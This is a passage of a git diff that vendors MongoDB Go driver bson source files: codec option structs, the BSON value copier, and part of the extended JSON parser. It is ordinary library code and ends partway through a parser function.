/dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/struct_codec_options.go @@ -0,0 +1,107 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsonoptions + +var defaultOverwriteDuplicatedInlinedFields = true + +// StructCodecOptions represents all possible options for struct encoding and decoding. +// +// Deprecated: Use the bson.Encoder and bson.Decoder configuration methods to set the desired BSON marshal +// and unmarshal behavior instead. +type StructCodecOptions struct { + DecodeZeroStruct *bool // Specifies if structs should be zeroed before decoding into them. Defaults to false. + DecodeDeepZeroInline *bool // Specifies if structs should be recursively zeroed when a inline value is decoded. Defaults to false. + EncodeOmitDefaultStruct *bool // Specifies if default structs should be considered empty by omitempty. Defaults to false. + AllowUnexportedFields *bool // Specifies if unexported fields should be marshaled/unmarshaled. Defaults to false. + OverwriteDuplicatedInlinedFields *bool // Specifies if fields in inlined structs can be overwritten by higher level struct fields with the same key. Defaults to true. +} + +// StructCodec creates a new *StructCodecOptions +// +// Deprecated: Use the bson.Encoder and bson.Decoder configuration methods to set the desired BSON marshal +// and unmarshal behavior instead. +func StructCodec() *StructCodecOptions { + return &StructCodecOptions{} +} + +// SetDecodeZeroStruct specifies if structs should be zeroed before decoding into them. Defaults to false. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Decoder.ZeroStructs] instead. +func (t *StructCodecOptions) SetDecodeZeroStruct(b bool) *StructCodecOptions { + t.DecodeZeroStruct = &b + return t +} + +// SetDecodeDeepZeroInline specifies if structs should be zeroed before decoding into them. Defaults to false. +// +// Deprecated: DecodeDeepZeroInline will not be supported in Go Driver 2.0. +func (t *StructCodecOptions) SetDecodeDeepZeroInline(b bool) *StructCodecOptions { + t.DecodeDeepZeroInline = &b + return t +} + +// SetEncodeOmitDefaultStruct specifies if default structs should be considered empty by omitempty. A default struct has all +// its values set to their default value. Defaults to false. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Encoder.OmitZeroStruct] instead. +func (t *StructCodecOptions) SetEncodeOmitDefaultStruct(b bool) *StructCodecOptions { + t.EncodeOmitDefaultStruct = &b + return t +} + +// SetOverwriteDuplicatedInlinedFields specifies if inlined struct fields can be overwritten by higher level struct fields with the +// same bson key. When true and decoding, values will be written to the outermost struct with a matching key, and when +// encoding, keys will have the value of the top-most matching field. When false, decoding and encoding will error if +// there are duplicate keys after the struct is inlined. Defaults to true. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Encoder.ErrorOnInlineDuplicates] instead. +func (t *StructCodecOptions) SetOverwriteDuplicatedInlinedFields(b bool) *StructCodecOptions { + t.OverwriteDuplicatedInlinedFields = &b + return t +} + +// SetAllowUnexportedFields specifies if unexported fields should be marshaled/unmarshaled. Defaults to false. +// +// Deprecated: AllowUnexportedFields does not work on recent versions of Go and will not be +// supported in Go Driver 2.0. +func (t *StructCodecOptions) SetAllowUnexportedFields(b bool) *StructCodecOptions { + t.AllowUnexportedFields = &b + return t +} + +// MergeStructCodecOptions combines the given *StructCodecOptions into a single *StructCodecOptions in a last one wins fashion. +// +// Deprecated: Merging options structs will not be supported in Go Driver 2.0. Users should create a +// single options struct instead. +func MergeStructCodecOptions(opts ...*StructCodecOptions) *StructCodecOptions { + s := &StructCodecOptions{ + OverwriteDuplicatedInlinedFields: &defaultOverwriteDuplicatedInlinedFields, + } + for _, opt := range opts { + if opt == nil { + continue + } + + if opt.DecodeZeroStruct != nil { + s.DecodeZeroStruct = opt.DecodeZeroStruct + } + if opt.DecodeDeepZeroInline != nil { + s.DecodeDeepZeroInline = opt.DecodeDeepZeroInline + } + if opt.EncodeOmitDefaultStruct != nil { + s.EncodeOmitDefaultStruct = opt.EncodeOmitDefaultStruct + } + if opt.OverwriteDuplicatedInlinedFields != nil { + s.OverwriteDuplicatedInlinedFields = opt.OverwriteDuplicatedInlinedFields + } + if opt.AllowUnexportedFields != nil { + s.AllowUnexportedFields = opt.AllowUnexportedFields + } + } + + return s +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/time_codec_options.go b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/time_codec_options.go new file mode 100644 index 00000000..3f38433d --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/time_codec_options.go @@ -0,0 +1,49 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsonoptions + +// TimeCodecOptions represents all possible options for time.Time encoding and decoding. +// +// Deprecated: Use the bson.Encoder and bson.Decoder configuration methods to set the desired BSON marshal +// and unmarshal behavior instead. +type TimeCodecOptions struct { + UseLocalTimeZone *bool // Specifies if we should decode into the local time zone. Defaults to false. +} + +// TimeCodec creates a new *TimeCodecOptions +// +// Deprecated: Use the bson.Encoder and bson.Decoder configuration methods to set the desired BSON marshal +// and unmarshal behavior instead. +func TimeCodec() *TimeCodecOptions { + return &TimeCodecOptions{} +} + +// SetUseLocalTimeZone specifies if we should decode into the local time zone. Defaults to false. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Decoder.UseLocalTimeZone] instead. +func (t *TimeCodecOptions) SetUseLocalTimeZone(b bool) *TimeCodecOptions { + t.UseLocalTimeZone = &b + return t +} + +// MergeTimeCodecOptions combines the given *TimeCodecOptions into a single *TimeCodecOptions in a last one wins fashion. +// +// Deprecated: Merging options structs will not be supported in Go Driver 2.0. Users should create a +// single options struct instead. +func MergeTimeCodecOptions(opts ...*TimeCodecOptions) *TimeCodecOptions { + t := TimeCodec() + for _, opt := range opts { + if opt == nil { + continue + } + if opt.UseLocalTimeZone != nil { + t.UseLocalTimeZone = opt.UseLocalTimeZone + } + } + + return t +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/uint_codec_options.go b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/uint_codec_options.go new file mode 100644 index 00000000..5091e4d9 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/uint_codec_options.go @@ -0,0 +1,49 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsonoptions + +// UIntCodecOptions represents all possible options for uint encoding and decoding. +// +// Deprecated: Use the bson.Encoder and bson.Decoder configuration methods to set the desired BSON marshal +// and unmarshal behavior instead. +type UIntCodecOptions struct { + EncodeToMinSize *bool // Specifies if all uints except uint64 should be decoded to minimum size bsontype. Defaults to false. +} + +// UIntCodec creates a new *UIntCodecOptions +// +// Deprecated: Use the bson.Encoder and bson.Decoder configuration methods to set the desired BSON marshal +// and unmarshal behavior instead. +func UIntCodec() *UIntCodecOptions { + return &UIntCodecOptions{} +} + +// SetEncodeToMinSize specifies if all uints except uint64 should be decoded to minimum size bsontype. Defaults to false. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Encoder.IntMinSize] instead. +func (u *UIntCodecOptions) SetEncodeToMinSize(b bool) *UIntCodecOptions { + u.EncodeToMinSize = &b + return u +} + +// MergeUIntCodecOptions combines the given *UIntCodecOptions into a single *UIntCodecOptions in a last one wins fashion. +// +// Deprecated: Merging options structs will not be supported in Go Driver 2.0. Users should create a +// single options struct instead. +func MergeUIntCodecOptions(opts ...*UIntCodecOptions) *UIntCodecOptions { + u := UIntCodec() + for _, opt := range opts { + if opt == nil { + continue + } + if opt.EncodeToMinSize != nil { + u.EncodeToMinSize = opt.EncodeToMinSize + } + } + + return u +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsonrw/copier.go b/vendor/go.mongodb.org/mongo-driver/bson/bsonrw/copier.go new file mode 100644 index 00000000..1e25570b --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsonrw/copier.go @@ -0,0 +1,489 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsonrw + +import ( + "errors" + "fmt" + "io" + + "go.mongodb.org/mongo-driver/bson/bsontype" + "go.mongodb.org/mongo-driver/bson/primitive" + "go.mongodb.org/mongo-driver/x/bsonx/bsoncore" +) + +// Copier is a type that allows copying between ValueReaders, ValueWriters, and +// []byte values. +// +// Deprecated: Copying BSON documents using the ValueWriter and ValueReader interfaces will not be +// supported in Go Driver 2.0. +type Copier struct{} + +// NewCopier creates a new copier with the given registry. If a nil registry is provided +// a default registry is used. +// +// Deprecated: Copying BSON documents using the ValueWriter and ValueReader interfaces will not be +// supported in Go Driver 2.0. +func NewCopier() Copier { + return Copier{} +} + +// CopyDocument handles copying a document from src to dst. +// +// Deprecated: Copying BSON documents using the ValueWriter and ValueReader interfaces will not be +// supported in Go Driver 2.0. +func CopyDocument(dst ValueWriter, src ValueReader) error { + return Copier{}.CopyDocument(dst, src) +} + +// CopyDocument handles copying one document from the src to the dst. +// +// Deprecated: Copying BSON documents using the ValueWriter and ValueReader interfaces will not be +// supported in Go Driver 2.0. +func (c Copier) CopyDocument(dst ValueWriter, src ValueReader) error { + dr, err := src.ReadDocument() + if err != nil { + return err + } + + dw, err := dst.WriteDocument() + if err != nil { + return err + } + + return c.copyDocumentCore(dw, dr) +} + +// CopyArrayFromBytes copies the values from a BSON array represented as a +// []byte to a ValueWriter. +// +// Deprecated: Copying BSON arrays using the ValueWriter and ValueReader interfaces will not be +// supported in Go Driver 2.0. +func (c Copier) CopyArrayFromBytes(dst ValueWriter, src []byte) error { + aw, err := dst.WriteArray() + if err != nil { + return err + } + + err = c.CopyBytesToArrayWriter(aw, src) + if err != nil { + return err + } + + return aw.WriteArrayEnd() +} + +// CopyDocumentFromBytes copies the values from a BSON document represented as a +// []byte to a ValueWriter. +// +// Deprecated: Copying BSON documents using the ValueWriter and ValueReader interfaces will not be +// supported in Go Driver 2.0. +func (c Copier) CopyDocumentFromBytes(dst ValueWriter, src []byte) error { + dw, err := dst.WriteDocument() + if err != nil { + return err + } + + err = c.CopyBytesToDocumentWriter(dw, src) + if err != nil { + return err + } + + return dw.WriteDocumentEnd() +} + +type writeElementFn func(key string) (ValueWriter, error) + +// CopyBytesToArrayWriter copies the values from a BSON Array represented as a []byte to an +// ArrayWriter. +// +// Deprecated: Copying BSON arrays using the ArrayWriter interface will not be supported in Go +// Driver 2.0. +func (c Copier) CopyBytesToArrayWriter(dst ArrayWriter, src []byte) error { + wef := func(_ string) (ValueWriter, error) { + return dst.WriteArrayElement() + } + + return c.copyBytesToValueWriter(src, wef) +} + +// CopyBytesToDocumentWriter copies the values from a BSON document represented as a []byte to a +// DocumentWriter. +// +// Deprecated: Copying BSON documents using the ValueWriter and ValueReader interfaces will not be +// supported in Go Driver 2.0. +func (c Copier) CopyBytesToDocumentWriter(dst DocumentWriter, src []byte) error { + wef := func(key string) (ValueWriter, error) { + return dst.WriteDocumentElement(key) + } + + return c.copyBytesToValueWriter(src, wef) +} + +func (c Copier) copyBytesToValueWriter(src []byte, wef writeElementFn) error { + // TODO(skriptble): Create errors types here. Anything that is a tag should be a property. + length, rem, ok := bsoncore.ReadLength(src) + if !ok { + return fmt.Errorf("couldn't read length from src, not enough bytes. length=%d", len(src)) + } + if len(src) < int(length) { + return fmt.Errorf("length read exceeds number of bytes available. length=%d bytes=%d", len(src), length) + } + rem = rem[:length-4] + + var t bsontype.Type + var key string + var val bsoncore.Value + for { + t, rem, ok = bsoncore.ReadType(rem) + if !ok { + return io.EOF + } + if t == bsontype.Type(0) { + if len(rem) != 0 { + return fmt.Errorf("document end byte found before end of document. remaining bytes=%v", rem) + } + break + } + + key, rem, ok = bsoncore.ReadKey(rem) + if !ok { + return fmt.Errorf("invalid key found. remaining bytes=%v", rem) + } + + // write as either array element or document element using writeElementFn + vw, err := wef(key) + if err != nil { + return err + } + + val, rem, ok = bsoncore.ReadValue(rem, t) + if !ok { + return fmt.Errorf("not enough bytes available to read type. bytes=%d type=%s", len(rem), t) + } + err = c.CopyValueFromBytes(vw, t, val.Data) + if err != nil { + return err + } + } + return nil +} + +// CopyDocumentToBytes copies an entire document from the ValueReader and +// returns it as bytes. +// +// Deprecated: Copying BSON documents using the ValueWriter and ValueReader interfaces will not be +// supported in Go Driver 2.0. +func (c Copier) CopyDocumentToBytes(src ValueReader) ([]byte, error) { + return c.AppendDocumentBytes(nil, src) +} + +// AppendDocumentBytes functions the same as CopyDocumentToBytes, but will +// append the result to dst. +// +// Deprecated: Copying BSON documents using the ValueWriter and ValueReader interfaces will not be +// supported in Go Driver 2.0. +func (c Copier) AppendDocumentBytes(dst []byte, src ValueReader) ([]byte, error) { + if br, ok := src.(BytesReader); ok { + _, dst, err := br.ReadValueBytes(dst) + return dst, err + } + + vw := vwPool.Get().(*valueWriter) + defer putValueWriter(vw) + + vw.reset(dst) + + err := c.CopyDocument(vw, src) + dst = vw.buf + return dst, err +} + +// AppendArrayBytes copies an array from the ValueReader to dst. +// +// Deprecated: Copying BSON arrays using the ValueWriter and ValueReader interfaces will not be +// supported in Go Driver 2.0. +func (c Copier) AppendArrayBytes(dst []byte, src ValueReader) ([]byte, error) { + if br, ok := src.(BytesReader); ok { + _, dst, err := br.ReadValueBytes(dst) + return dst, err + } + + vw := vwPool.Get().(*valueWriter) + defer putValueWriter(vw) + + vw.reset(dst) + + err := c.copyArray(vw, src) + dst = vw.buf + return dst, err +} + +// CopyValueFromBytes will write the value represtend by t and src to dst. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.UnmarshalValue] instead. +func (c Copier) CopyValueFromBytes(dst ValueWriter, t bsontype.Type, src []byte) error { + if wvb, ok := dst.(BytesWriter); ok { + return wvb.WriteValueBytes(t, src) + } + + vr := vrPool.Get().(*valueReader) + defer vrPool.Put(vr) + + vr.reset(src) + vr.pushElement(t) + + return c.CopyValue(dst, vr) +} + +// CopyValueToBytes copies a value from src and returns it as a bsontype.Type and a +// []byte. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.MarshalValue] instead. +func (c Copier) CopyValueToBytes(src ValueReader) (bsontype.Type, []byte, error) { + return c.AppendValueBytes(nil, src) +} + +// AppendValueBytes functions the same as CopyValueToBytes, but will append the +// result to dst. +// +// Deprecated: Appending individual BSON elements to an existing slice will not be supported in Go +// Driver 2.0. +func (c Copier) AppendValueBytes(dst []byte, src ValueReader) (bsontype.Type, []byte, error) { + if br, ok := src.(BytesReader); ok { + return br.ReadValueBytes(dst) + } + + vw := vwPool.Get().(*valueWriter) + defer putValueWriter(vw) + + start := len(dst) + + vw.reset(dst) + vw.push(mElement) + + err := c.CopyValue(vw, src) + if err != nil { + return 0, dst, err + } + + return bsontype.Type(vw.buf[start]), vw.buf[start+2:], nil +} + +// CopyValue will copy a single value from src to dst. +// +// Deprecated: Copying BSON values using the ValueWriter and ValueReader interfaces will not be +// supported in Go Driver 2.0. +func (c Copier) CopyValue(dst ValueWriter, src ValueReader) error { + var err error + switch src.Type() { + case bsontype.Double: + var f64 float64 + f64, err = src.ReadDouble() + if err != nil { + break + } + err = dst.WriteDouble(f64) + case bsontype.String: + var str string + str, err = src.ReadString() + if err != nil { + return err + } + err = dst.WriteString(str) + case bsontype.EmbeddedDocument: + err = c.CopyDocument(dst, src) + case bsontype.Array: + err = c.copyArray(dst, src) + case bsontype.Binary: + var data []byte + var subtype byte + data, subtype, err = src.ReadBinary() + if err != nil { + break + } + err = dst.WriteBinaryWithSubtype(data, subtype) + case bsontype.Undefined: + err = src.ReadUndefined() + if err != nil { + break + } + err = dst.WriteUndefined() + case bsontype.ObjectID: + var oid primitive.ObjectID + oid, err = src.ReadObjectID() + if err != nil { + break + } + err = dst.WriteObjectID(oid) + case bsontype.Boolean: + var b bool + b, err = src.ReadBoolean() + if err != nil { + break + } + err = dst.WriteBoolean(b) + case bsontype.DateTime: + var dt int64 + dt, err = src.ReadDateTime() + if err != nil { + break + } + err = dst.WriteDateTime(dt) + case bsontype.Null: + err = src.ReadNull() + if err != nil { + break + } + err = dst.WriteNull() + case bsontype.Regex: + var pattern, options string + pattern, options, err = src.ReadRegex() + if err != nil { + break + } + err = dst.WriteRegex(pattern, options) + case bsontype.DBPointer: + var ns string + var pointer primitive.ObjectID + ns, pointer, err = src.ReadDBPointer() + if err != nil { + break + } + err = dst.WriteDBPointer(ns, pointer) + case bsontype.JavaScript: + var js string + js, err = src.ReadJavascript() + if err != nil { + break + } + err = dst.WriteJavascript(js) + case bsontype.Symbol: + var symbol string + symbol, err = src.ReadSymbol() + if err != nil { + break + } + err = dst.WriteSymbol(symbol) + case bsontype.CodeWithScope: + var code string + var srcScope DocumentReader + code, srcScope, err = src.ReadCodeWithScope() + if err != nil { + break + } + + var dstScope DocumentWriter + dstScope, err = dst.WriteCodeWithScope(code) + if err != nil { + break + } + err = c.copyDocumentCore(dstScope, srcScope) + case bsontype.Int32: + var i32 int32 + i32, err = src.ReadInt32() + if err != nil { + break + } + err = dst.WriteInt32(i32) + case bsontype.Timestamp: + var t, i uint32 + t, i, err = src.ReadTimestamp() + if err != nil { + break + } + err = dst.WriteTimestamp(t, i) + case bsontype.Int64: + var i64 int64 + i64, err = src.ReadInt64() + if err != nil { + break + } + err = dst.WriteInt64(i64) + case bsontype.Decimal128: + var d128 primitive.Decimal128 + d128, err = src.ReadDecimal128() + if err != nil { + break + } + err = dst.WriteDecimal128(d128) + case bsontype.MinKey: + err = src.ReadMinKey() + if err != nil { + break + } + err = dst.WriteMinKey() + case bsontype.MaxKey: + err = src.ReadMaxKey() + if err != nil { + break + } + err = dst.WriteMaxKey() + default: + err = fmt.Errorf("Cannot copy unknown BSON type %s", src.Type()) + } + + return err +} + +func (c Copier) copyArray(dst ValueWriter, src ValueReader) error { + ar, err := src.ReadArray() + if err != nil { + return err + } + + aw, err := dst.WriteArray() + if err != nil { + return err + } + + for { + vr, err := ar.ReadValue() + if errors.Is(err, ErrEOA) { + break + } + if err != nil { + return err + } + + vw, err := aw.WriteArrayElement() + if err != nil { + return err + } + + err = c.CopyValue(vw, vr) + if err != nil { + return err + } + } + + return aw.WriteArrayEnd() +} + +func (c Copier) copyDocumentCore(dw DocumentWriter, dr DocumentReader) error { + for { + key, vr, err := dr.ReadElement() + if errors.Is(err, ErrEOD) { + break + } + if err != nil { + return err + } + + vw, err := dw.WriteDocumentElement(key) + if err != nil { + return err + } + + err = c.CopyValue(vw, vr) + if err != nil { + return err + } + } + + return dw.WriteDocumentEnd() +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsonrw/doc.go b/vendor/go.mongodb.org/mongo-driver/bson/bsonrw/doc.go new file mode 100644 index 00000000..750b0d2a --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsonrw/doc.go @@ -0,0 +1,9 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +// Package bsonrw contains abstractions for reading and writing +// BSON and BSON like types from sources. +package bsonrw // import "go.mongodb.org/mongo-driver/bson/bsonrw" diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsonrw/extjson_parser.go b/vendor/go.mongodb.org/mongo-driver/bson/bsonrw/extjson_parser.go new file mode 100644 index 00000000..f0702d9d --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsonrw/extjson_parser.go @@ -0,0 +1,806 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsonrw + +import ( + "encoding/base64" + "encoding/hex" + "errors" + "fmt" + "io" + "strings" + + "go.mongodb.org/mongo-driver/bson/bsontype" +) + +const maxNestingDepth = 200 + +// ErrInvalidJSON indicates the JSON input is invalid +var ErrInvalidJSON = errors.New("invalid JSON input") + +type jsonParseState byte + +const ( + jpsStartState jsonParseState = iota + jpsSawBeginObject + jpsSawEndObject + jpsSawBeginArray + jpsSawEndArray + jpsSawColon + jpsSawComma + jpsSawKey + jpsSawValue + jpsDoneState + jpsInvalidState +) + +type jsonParseMode byte + +const ( + jpmInvalidMode jsonParseMode = iota + jpmObjectMode + jpmArrayMode +) + +type extJSONValue struct { + t bsontype.Type + v interface{} +} + +type extJSONObject struct { + keys []string + values []*extJSONValue +} + +type extJSONParser struct { + js *jsonScanner + s jsonParseState + m []jsonParseMode + k string + v *extJSONValue + + err error + canonical bool + depth int + maxDepth int + + emptyObject bool + relaxedUUID bool +} + +// newExtJSONParser returns a new extended JSON parser, ready to to begin +// parsing from the first character of the argued json input. It will not +// perform any read-ahead and will therefore not report any errors about +// malformed JSON at this point. +func newExtJSONParser(r io.Reader, canonical bool) *extJSONParser { + return &extJSONParser{ + js: &jsonScanner{r: r}, + s: jpsStartState, + m: []jsonParseMode{}, + canonical: canonical, + maxDepth: maxNestingDepth, + } +} + +// peekType examines the next value and returns its BSON Type +func (ejp *extJSONParser) peekType() (bsontype.Type, error) { + var t bsontype.Type + var err error + initialState := ejp.s + + ejp.advanceState() + switch ejp.s { + case jpsSawValue: + t = ejp.v.t + case jpsSawBeginArray: + t = bsontype.Array + case jpsInvalidState: + err = ejp.err + case jpsSawComma: + // in array mode, seeing a comma means we need to progress again to actually observe a type + if ejp.peekMode() == jpmArrayMode { + return ejp.peekType() + } + case jpsSawEndArray: + // this would only be a valid state if we were in array mode, so return end-of-array error + err = ErrEOA + case jpsSawBeginObject: + // peek key to determine type + ejp.advanceState() + switch ejp.s { + case jpsSawEndObject: // empty embedded document + t = bsontype.EmbeddedDocument + ejp.emptyObject = true + case jpsInvalidState: + err = ejp.err + case jpsSawKey: + if initialState == jpsStartState { + return bsontype.EmbeddedDocument, nil + } + t = wrapperKeyBSONType(ejp.k) + + // if $uuid is encountered, parse as binary subtype 4 + if ejp.k == "$uuid" { + ejp.relaxedUUID = true + t = bsontype.Binary + } + + switch t { + case bsontype.JavaScript: + // just saw $code, need to check for $scope at same level + _, err = ejp.readValue(bsontype.JavaScript) + if err != nil { + break + } + + switch ejp.s { + case jpsSawEndObject: // type is TypeJavaScript + case jpsSawComma: + ejp.advanceState() + + if ejp.s == jpsSawKey && ejp.k == "$scope" { + t = bsontype.CodeWithScope + } else { + err = fmt.Errorf("invalid extended JSON: unexpected key %s in CodeWithScope object", ejp.k) + } + case jpsInvalidState: + err = ejp.err + default: + err = ErrInvalidJSON + } + case bsontype.CodeWithScope: + err = errors.New("invalid extended JSON: code with $scope must contain $code before $scope") + } + } + } + + return t, err +} + +// readKey parses the next key and its type and returns them +func (ejp *extJSONParser) readKey() (string, bsontype.Type, error) { + if ejp.emptyObject { + ejp.emptyObject = false + return "", 0, ErrEOD + } + + // advance to key (or return with error) + switch ejp.s { + case jpsStartState: + ejp.advanceState() + if ejp.s == jpsSawBeginObject { + ejp.advanceState() + } + case jpsSawBeginObject: + ejp.advanceState() + case jpsSawValue, jpsSawEndObject, jpsSawEndArray: + ejp.advanceState() + switch ejp.s { + case jpsSawBeginObject, jpsSawComma: + ejp.advanceState() + case jpsSawEndObject: + return "", 0, ErrEOD + case jpsDoneState: + return "", 0, io.EOF + case jpsInvalidState: + return "", 0, ejp.err + default: + return "", 0, ErrInvalidJSON + } + case jpsSawKey: // do nothing (key was peeked before) + default: + return "", 0, invalidRequestError("key") + } + + // read key + var key string + + switch ejp.s { + case jpsSawKey: + key = ejp.k + case jpsSawEndObject: + return "", 0, ErrEOD + case jpsInvalidState: + return "", 0, ejp.err + default: + return "", 0, invalidRequestError("key") + } + + // check for colon + ejp.advanceState() + if err := ensureColon(ejp.s, key); err != nil { + return "", 0, err + } + + // peek at the value to determine type + t, err := ejp.peekType() + if err != nil { + return "", 0, err + } + + return key, t, nil +} + +// readValue returns the value corresponding to the Type returned by peekType +func (ejp *extJSONParser) readValue(t bsontype.Type) (*extJSONValue, error) { + if ejp.s == jpsInvalidState { + return nil, ejp.err + } + + var v *extJSONValue + + switch t { + case bsontype.Null, bsontype.Boolean, bsontype.String: + if ejp.s != jpsSawValue { + return nil, invalidRequestError(t.String()) + } + v = ejp.v + case bsontype.Int32, bsontype.Int64, bsontype.Double: + // relaxed version allows these to be literal number values + if ejp.s == jpsSawValue { + v = ejp.v + break + } + fallthrough + case bsontype.Decimal128, bsontype.Symbol, bsontype.ObjectID, bsontype.MinKey, bsontype.MaxKey, bsontype.Undefined: + switch ejp.s { + case jpsSawKey: + // read colon + ejp.advanceState() + if err := ensureColon(ejp.s, ejp.k); err != nil { + return nil, err + } + + // read value + ejp.advanceState() + if ejp.s != jpsSawValue || !ejp.ensureExtValueType(t) { + return nil, invalidJSONErrorForType("value", t) + } + + v = ejp.v + + // read end object + ejp.advanceState() + if ejp.s != jpsSawEndObject { + return nil, invalidJSONErrorForType("} after value", t) + } + default: + return nil, invalidRequestError(t.String()) + } + case bsontype.Binary, bsontype.Regex, bsontype.Timestamp, bsontype.DBPointer: + if ejp.s != jpsSawKey { + return nil, invalidRequestError(t.String()) + } + // read colon + ejp.advanceState() + if err := ensureColon(ejp.s, ejp.k); err != nil { + return nil, err + } + + ejp.advanceState() + if t == bsontype.Binary && ejp.s == jpsSawValue { + // convert relaxed $uuid format + if ejp.relaxedUUID { + defer func() { ejp.relaxedUUID = false }() + uuid, err := ejp.v.parseSymbol() + if err != nil { + return nil, err + } + + // RFC 4122 defines the length of a UUID as 36 and the hyphens in a UUID as appearing + // in the 8th, 13th, 18th, and 23rd characters. + // + // See https://tools.ietf.org/html/rfc4122#section-3 + valid := len(uuid) == 36 && + string(uuid[8]) == "-" && + string(uuid[13]) == "-" && + string(uuid[18]) == "-" && + string(uuid[23]) == "-" + if !valid { + return nil, fmt.Errorf("$uuid value does not follow RFC 4122 format regarding length and hyphens") + } + + // remove hyphens + uuidNoHyphens := strings.ReplaceAll(uuid, "-", "") + if len(uuidNoHyphens) != 32 { + return nil, fmt.Errorf("$uuid value does not follow RFC 4122 format regarding length and hyphens") + } + + // convert hex to bytes + bytes, err := hex.DecodeString(uuidNoHyphens) + if err != nil { + return nil, fmt.Errorf("$uuid value does not follow RFC 4122 format regarding hex bytes: %w", err) + } + + ejp.advanceState() + if ejp.s != jpsSawEndObject { + return nil, invalidJSONErrorForType("$uuid and value and then }", bsontype.Binary) + } + + base64 := &extJSONValue{ + t: bsontype.String, + v: base64.StdEncoding.EncodeToString(bytes), + } + subType := &extJSONValue{ + t: bsontype.String, + v: "04", + } + + v = &extJSONValue{ + t: bsontype.EmbeddedDocument, + v: &extJSONObject{ + keys: []string{"base64", "subType"}, + values: []*extJSONValue{base64, subType}, + }, + } + + break + } + + // convert legacy $binary format + base64 := ejp.v + + ejp.advanceState() + if ejp.s != jpsSawComma { + return nil, invalidJSONErrorForType(",", bsontype.Binary) + } + + ejp.advanceState() + key, t, err := ejp.readKey() + if err != nil { + return nil, err + } + if key != "$type" { + return nil, invalidJSONErrorForType("$type", bsontype.Binary) + } + + subType, err := ejp.readValue(t) + if err != nil { + return nil, err + } + + ejp.advanceState() + if ejp.s != jpsSawEndObject { + return nil, invalidJSONErrorForType("2 key-value pairs and then }", bsontype.Binary) + } + + v = &extJSONValue{ + t: bsontype.EmbeddedDocument, + v: &extJSONObject{ + keys: []string{"base64", "subType"}, + values: []*extJSONValue{base64, subType}, + }, + } + break + } + + // read KV pairs + if ejp.s != jpsSawBeginObject { + return nil, invalidJSONErrorForType("{", t) + } + + keys, vals, err := ejp.readObject(2, true) + if err != nil { + return nil, err + } + + ejp.advanceState() + if ejp.s != jpsSawEndObject { + return nil, invalidJSONErrorForType("2 key-value pairs and then }", t) + } + + v = &extJSONValue{t: bsontype.EmbeddedDocument, v: &extJSONObject{keys: keys, values: vals}} + + case bsontype.DateTime: + switch ejp.s { + case jpsSawValue: + v = ejp.v + case jpsSawKey: + // read colon + ejp.advanceState() + if err := ensureColon(ejp.s, ejp.k); err != nil { + return nil, err + } + + ejp.advanceState() + switch ejp.s { + case jpsSawBeginObject: + keys, vals, err := ejp.readObject(1, true) + if err != nil { + return nil, err + } + v = &extJSONValue{t: bsontype.EmbeddedDocument, v: &extJSONObject{keys: keys, values: vals}} + case jpsSawValue: + if ejp.canonical { + return nil, invalidJSONError("{") + } + v = ejp.v + default: + if ejp.canonical { + return nil, invalidJSONErrorForType("object", t) + } + return nil, invalidJSONErrorForType("ISO-8601 Internet Date/Time Format as described in RFC-3339", t) + } + + ejp.advanceState() + if ejp.s != jpsSawEndObject { + return nil, invalidJSONErrorForType("value and then }", t) + } + default: + return nil, invalidRequestError(t.String()) + } + case bsontype.JavaScript: + switch ejp.s { + case jpsSawKey: + // read colon + ejp.advanceState() + if err := ensureColon(ejp.s, ejp.k); err != nil { + return nil, err + } + + // read value + ejp.advanceState() + if ejp.s != jpsSawValue { + return nil, invalidJSONErrorForType("value", t) + } + v = ejp.v + + // read end object or comma and just return + ejp.advanceState() + case jpsSawEndObject: + v = ejp.v + default: + return nil, invalidRequestError(t.String()) + } + case bsontype.CodeWithScope: + if ejp.s == jpsSawKey && ejp.k == "$scope" { + v = ejp.v // this is the $code string from earlier + + // read colon + ejp.advanceState() + if err := ensureColon(ejp.s, ejp.k); err != nil { + return nil, err + } + + // read { + ejp.advanceState() + if ejp.s != jpsSawBeginObject { + return nil, invalidJSONError("$scope to be embedded document") + } 